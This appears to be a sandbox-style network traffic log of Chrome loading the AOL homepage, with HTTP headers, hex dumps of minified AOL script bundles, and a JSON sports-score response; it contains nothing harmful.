2024-05-23 22:34:41 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 208693 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:41 GMT Etag: "6585265e1656bea40c211b6ac8f33cc5" Last-Modified: Tue, 21 May 2024 12:26:12 GMT Server: ECAcc (lhd/35F1) Vary: Accept-Encoding x-amz-id-2: Cl06rBvYW3KRiRhsaelhLlT8t8UJJYzpvZsoEAPK/wK4biFOEH+Jtd0qx5BOrc06j0JnayGrAx8= x-amz-replication-status: COMPLETED x-amz-request-id: BEHJ9CM8VQK3GDR0 x-amz-server-side-encryption: AES256 x-amz-version-id: kMqlfjWfT6qK74SFMxNbtGZA3I41FRpL X-Cache: HIT Content-Length: 38038 Connection: close
2024-05-23 22:34:41 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 79 61 68 6f 6f 5f 73 70 6f 72 74 73 5f 73 63 6f 72 65 73 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f Data Ascii: /! For license information please see yahoo_sports_scores.js.LICENSE.txt /!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?expo
2024-05-23 22:34:41 UTC	1	IN	Data Raw: 5f Data Ascii: _
2024-05-23 22:34:41 UTC	16383	IN	Data Raw: 76 73 5f 67 61 6d 65 5f 62 5f 63 5f 22 2e 63 6f 6e 63 61 74 28 65 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 5f 79 73 73 5f 76 73 5f 67 61 6d 65 5f 62 5f 63 5f 22 2e 63 6f 6e 63 61 74 28 65 29 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 29 3a 6f 3d 3d 3d 43 26 26 59 28 65 29 26 26 28 69 3d 61 28 29 28 74 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 5f 79 73 73 5f 68 5f 67 61 6d 65 5f 73 74 61 74 75 73 5f 22 2e 63 6f 6e 63 61 74 28 65 29 29 2e 69 6e 6e 65 72 54 65 78 74 3d 22 22 2e 63 6f 6e 63 61 74 28 6e 2c 22 20 2d 20 22 29 2e 63 6f 6e 63 61 74 28 72 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 Data Ascii: vs_game_b_c_".concat(e)).innerHTML="",document.getElementById("m_yss_vs_game_b_c_".concat(e)).appendChild(i)):o===C&&Y(e)&&(i=a()(t),document.getElementById("m_yss_h_game_status_".concat(e)).innerText="".concat(n," - ").concat(r),document.getElementById("
2024-05-23 22:34:41 UTC	5271	IN	Data Raw: 65 61 63 6f 6e 28 65 2c 73 29 2c 6e 2e 6d 6f 76 65 53 6c 69 64 65 72 4c 65 66 74 28 29 7d 29 29 3b 76 61 72 20 6c 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 62 29 3b 6c 26 26 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 72 61 70 69 64 42 65 61 63 6f 6e 28 65 2c 6c 29 2c 6e 2e 6d 6f 76 65 53 6c 69 64 65 72 52 69 67 68 74 28 29 7d 29 29 2c 76 28 70 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 73 63 6f 72 65 22 29 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 72 61 70 69 64 42 65 61 63 6f 6e 28 65 2c 74 29 7d Data Ascii: eacon(e,s),n.moveSliderLeft()}));var l=e.querySelector(b);l&&l.addEventListener("click",(function(){n.rapidBeacon(e,l),n.moveSliderRight()})),v(p,e.querySelectorAll(".score")).forEach((function(t){t.addEventListener("click",(function(){n.rapidBeacon(e,t)}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	49801	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	566	OUT	GET /caas-assets-production/assets/v1/stream.7efb85c8f2ce352d.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:41 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 732180 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:41 GMT Etag: "7efb85c8f2ce352d58f47e0cd0d59453" Last-Modified: Wed, 15 May 2024 11:01:17 GMT Server: ECAcc (lhd/35B6) Vary: Accept-Encoding x-amz-id-2: S8+G5gPBXpVe6wGQsYW8URcq/NhWxMv0l9nPj7hIr436AXs3dnd9CnopsiYF51iX9vELHudRANA= x-amz-replication-status: COMPLETED x-amz-request-id: WK1ZPAB7DKX6HNJV x-amz-server-side-encryption: AES256 x-amz-version-id: LBJKctDx9TDV51HSiYnypFHfhKRwrmCR X-Cache: HIT Content-Length: 17927 Connection: close
2024-05-23 22:34:41 UTC	16383	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 3a 74 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 65 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var
2024-05-23 22:34:41 UTC	1544	IN	Data Raw: 6c 61 73 73 4e 61 6d 65 3a 22 67 65 6d 69 6e 69 2d 70 6c 61 63 65 68 6f 6c 64 65 72 20 6e 61 74 69 76 65 2d 61 64 2d 22 2e 63 6f 6e 63 61 74 28 74 29 7d 29 29 29 7d 7d 7d 2c 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 76 61 72 20 69 3d 6e 5b 74 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 69 29 72 65 74 75 72 6e 20 69 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 6e 5b 74 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 74 5d 28 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 72 29 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 65 2c 74 3d 5b 5d 2c 72 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 69 2c 6f 29 7b 69 66 28 21 6e 29 7b 76 61 72 20 61 3d 31 2f 30 3b 66 6f 72 28 63 3d 30 3b 63 3c 74 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 6e Data Ascii: lassName:"gemini-placeholder native-ad-".concat(t)})))}}},n={};function r(t){var i=n[t];if(void 0!==i)return i.exports;var o=n[t]={exports:{}};return e[t](o,o.exports,r),o.exports}r.m=e,t=[],r.O=function(e,n,i,o){if(!n){var a=1/0;for(c=0;c<t.length;c++){n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49800	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	574	OUT	GET /caas-assets-production/assets/v1/finance_banner.4c2b64bc7666579b.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:41 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167534 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:41 GMT Etag: "4c2b64bc7666579b265855279527e91e" Last-Modified: Tue, 19 Mar 2024 11:05:54 GMT Server: ECAcc (lhd/35E3) Vary: Accept-Encoding x-amz-id-2: 7KbMJBoSzoKi/Qoriv53J+HN0mN7hFbKGrD/NRCpb2zMuGMFdTJeVCMscXQWhDwIZn8AXOeqndA= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAJVWNZPCJ8FYA5 x-amz-server-side-encryption: AES256 x-amz-version-id: uHoEDns6MQvLoypNNc8_PT0sfNCNc1RS X-Cache: HIT Content-Length: 7212 Connection: close
2024-05-23 22:34:41 UTC	7212	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49802	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	577	OUT	GET /caas-assets-production/assets/v1/y_finance_markets.e005fe8327df316b.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:41 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167547 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:41 GMT Etag: "e005fe8327df316b2e93f581c05309ad" Last-Modified: Tue, 19 Mar 2024 11:06:01 GMT Server: ECAcc (lhd/35A3) Vary: Accept-Encoding x-amz-id-2: iPosCQscZj7fT0IeifsjWO8azOj7cBfGVBvwBXGVSXMhLjVk4oumT5JglqpC2AqIs1atcnsT5Dc= x-amz-replication-status: COMPLETED x-amz-request-id: J7Q0W3XD1JZ23EEP x-amz-server-side-encryption: AES256 x-amz-version-id: DhU2p7BeY2309SmXj4zqnLid0jiM4PIq X-Cache: HIT Content-Length: 9946 Connection: close
2024-05-23 22:34:41 UTC	9946	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49803	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	572	OUT	GET /caas-assets-production/assets/v1/trivia_games.591eb330cf391997.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:42 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3134845 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:42 GMT Etag: "591eb330cf39199701995bf05c4160a2" Last-Modified: Wed, 17 Apr 2024 15:37:29 GMT Server: ECAcc (lhd/35FB) Vary: Accept-Encoding x-amz-id-2: vyar0UdFCS2XREwnS5y8oUECr0det+PgrTN3xXVplbj5DEXyT/vW+lPbhM+K2/xMqKRO5qiwYr0= x-amz-replication-status: COMPLETED x-amz-request-id: S8RQK1WNRAHGHB6J x-amz-server-side-encryption: AES256 x-amz-version-id: _rCqj6BefhqRxU645l5z0gFhPGhCFaFH X-Cache: HIT Content-Length: 4442 Connection: close
2024-05-23 22:34:42 UTC	4442	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49804	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:41 UTC	577	OUT	GET /caas-assets-production/assets/v1/newsletter_signup.f9a1163a73b0919b.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:42 UTC	636	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5254067 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:42 GMT Etag: "f9a1163a73b0919b0cff56986d05a1da" Last-Modified: Tue, 19 Mar 2024 11:05:57 GMT Server: ECAcc (lhd/35E7) Vary: Accept-Encoding x-amz-id-2: w4MFexvDbcAx+8bTmaKazRacWRLQTfoCFbqC83eOCybcQD/Z4+8D9xvbBNue9B+guvnusiSsfrw= x-amz-replication-status: COMPLETED x-amz-request-id: 1VPE9ZW5N5F3QK07 x-amz-server-side-encryption: AES256 x-amz-version-id: aU7LY1f_Nc_a0fLTu0UTyIPYHC_FPtHT X-Cache: HIT Content-Length: 16103 Connection: close
2024-05-23 22:34:42 UTC	16103	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6e 65 77 73 6c 65 74 74 65 72 5f 73 69 67 6e 75 70 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 Data Ascii: /! For license information please see newsletter_signup.js.LICENSE.txt /!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?export

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49728	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	1378	OUT	POST /nex/modules/yahoo_sports_scores/v1/?isXHR=true&m_mode=json HTTP/1.1 Host: www.aol.com Connection: keep-alive Content-Length: 28 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" tracestate: 2526950@nr=0-1-3101648-714787285-d0507cef81d37b61----1716503681849 traceparent: 00-1889355bc528c39cd4d2b5a2479ae920-d0507cef81d37b61-01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 newrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjMxMDE2NDgiLCJhcCI6IjcxNDc4NzI4NSIsImlkIjoiZDA1MDdjZWY4MWQzN2I2MSIsInRyIjoiMTg4OTM1NWJjNTI4YzM5Y2Q0ZDJiNWEyNDc5YWU5MjAiLCJ0aSI6MTcxNjUwMzY4MTg0OSwidGsiOiIyNTI2OTUwIn19 content-type: application/json sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-05-23 22:34:42 UTC	28	OUT	Data Raw: 7b 22 64 61 74 61 22 3a 5b 22 6d 6c 62 2e 67 2e 34 34 30 35 32 33 31 31 31 22 5d 7d Data Ascii: {"data":["mlb.g.440523111"]}
2024-05-23 22:34:42 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:42 GMT Content-Type: application/json; charset=utf-8 X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 X-Download-Options: noopen Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Vary: x-aol-domain, Accept-Encoding Cache-Control: max-age=41 Status-Code: 200 X-App-Version: 70.0.0 X-Applet-Version: 1 Age: 0 Server: ATS Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:42 UTC	22	IN	Data Raw: 31 39 61 0d 0a 7b 22 64 61 74 61 22 3a 7b 22 72 65 73 70 6f 6e 73 Data Ascii: 19a{"data":{"respons
2024-05-23 22:34:42 UTC	400	IN	Data Raw: 65 22 3a 5b 7b 22 73 74 61 74 75 73 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 42 6f 74 20 31 31 74 68 22 2c 22 68 6f 6d 65 54 65 61 6d 22 3a 7b 22 77 69 6e 6e 65 72 22 3a 22 22 2c 22 73 63 6f 72 65 22 3a 35 2c 22 74 65 61 6d 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 32 30 2d 33 31 22 7d 2c 22 61 77 61 79 54 65 61 6d 22 3a 7b 22 77 69 6e 6e 65 72 22 3a 22 22 2c 22 73 63 6f 72 65 22 3a 39 2c 22 74 65 61 6d 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 31 36 2d 33 32 22 7d 2c 22 73 74 61 74 75 73 22 3a 22 49 4e 5f 50 52 4f 47 52 45 53 53 22 2c 22 73 74 61 72 74 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 35 2d 32 33 54 31 32 3a 33 37 3a 30 30 2d 30 37 3a 30 30 22 2c 22 67 61 6d 65 49 64 22 3a 22 6d 6c 62 2e 67 2e 34 34 30 35 32 33 31 31 31 22 2c 22 64 69 73 70 6c 61 Data Ascii: e":[{"statusDisplayName":"Bot 11th","homeTeam":{"winner":"","score":5,"teamDisplayName":"20-31"},"awayTeam":{"winner":"","score":9,"teamDisplayName":"16-32"},"status":"IN_PROGRESS","startTime":"2024-05-23T12:37:00-07:00","gameId":"mlb.g.440523111","displa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49809	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:42 UTC	625	OUT	GET /cv/apiv2/aolfp/images/weather/small/28-mostly-cloudy-day.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:42 UTC	795	IN	HTTP/1.1 200 OK x-amz-id-2: +phIxauHro4Xf2JeA6L3MVd/wXjOhatwiqzJUw066IGAPql3Q7FPVSJA+L2/KEs0SKNAArNZY3A= x-amz-request-id: FMH8JP64W9MH7T3X Date: Mon, 22 Apr 2024 12:11:32 GMT Last-Modified: Fri, 17 Mar 2023 06:48:20 GMT ETag: "3daa5cc631cb08eb9214c55b101fa701" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1896 Referrer-Policy: no-referrer-when-downgrade Age: 2715791 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Vary: Origin 